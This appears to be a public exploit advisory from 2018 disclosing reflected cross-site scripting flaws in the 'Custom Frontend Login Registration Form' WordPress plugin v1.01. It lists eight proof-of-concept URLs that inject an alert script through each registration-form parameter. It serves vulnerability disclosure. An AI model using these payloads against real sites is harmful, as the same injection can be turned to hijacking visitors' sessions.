Custom Frontend Login Registration Form (WP Plugin) - Multiple XSS Vulnerabilities

[Socket_0x03@xxxxxxxxxxx]

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    Custom Frontend Login Registration Form v1.01 (WP Plugin) - Multiple XSS 
Vulnerabilities
    
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 # Exploit Title: Custom Frontend Login Registration Form (WP Plugin) - 
Multiple XSS Vulnerabilities

 # Date: [11-13-2018]

 # Category: Webapps

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 # Author: Socket_0x03 (Alvaro J. Gene)

 # Email: Socket_0x03 (at) teraexe (dot) com

 # Website: www.teraexe.com

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 # Software Link: 
https://wordpress.org/plugins/custom-frontend-login-registration-form

 # Plugin: Custom Frontend Login Registration Form

 # Version: v1.01 (last version)

 # File: Registration Form

 # Parameters: reg_bio, reg_email, reg_fname, reg_lname, reg_name, 
               nickname, reg_password, and reg_website.

 # Language: This application is available in English language.

 # Plugin Description: A WordPress plugin that an administrator can use to 
create 
   login forms and custom registration forms; then, after creating those forms, 
   an admin can use a shortcode to place a login/registration form on a page or 
post.
   
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 #  Cross-Site Scripting Vulnerabilities:
 
     Registration Form - Parameter: reg_bio
     
http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=&reg_password=&reg_nickname=&reg_fname=&reg_name=&reg_bio=qadoh";><script>alert(1)<%2fscript>b7sb3m2scdh&reg_submit=reg_submit%3dRegister&reg_lname=

     Registration Form - Parameter: reg_email
     
http://www.website.com/wordpress/index.php/registration-form/?reg_email=i1brx";><script>alert(1)<%2fscript>ee1c8o5kj1l&reg_website=&reg_password=&reg_nickname=&reg_fname=&reg_name=&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname=

     Registration Form - Parameter: reg_fname
     
http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=&reg_password=&reg_nickname=&reg_fname=r3mo6";><script>alert(1)<%2fscript>v4q2lzsnk7m&reg_name=&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname=

     Registration Form - Parameter: reg_lname
     
http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=&reg_password=&reg_nickname=&reg_fname=&reg_name=&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname=ahrpv";><script>alert(1)<%2fscript>z50y4k9db7m

     Registration Form - Parameter: reg_name
     
http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=&reg_password=&reg_nickname=&reg_fname=&reg_name=fi8ze";><script>alert(1)<%2fscript>j8rjcha5rvf&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname=

     Registration Form - Parameter: nickname
     
http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=&reg_password=&reg_nickname=v0g30";><script>alert(1)<%2fscript>qm20vz35hbz&reg_fname=&reg_name=&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname=

     Registration Form - Parameter: reg_password
     
http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=&reg_password=nn3du";><script>alert(1)<%2fscript>aopv3zr72k7&reg_nickname=&reg_fname=&reg_name=&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname=

     Registration Form - Parameter: reg_website
     
http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=io8na";><script>alert(1)<%2fscript>iuotdm7w5i2&reg_password=&reg_nickname=&reg_fname=&reg_name=&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname=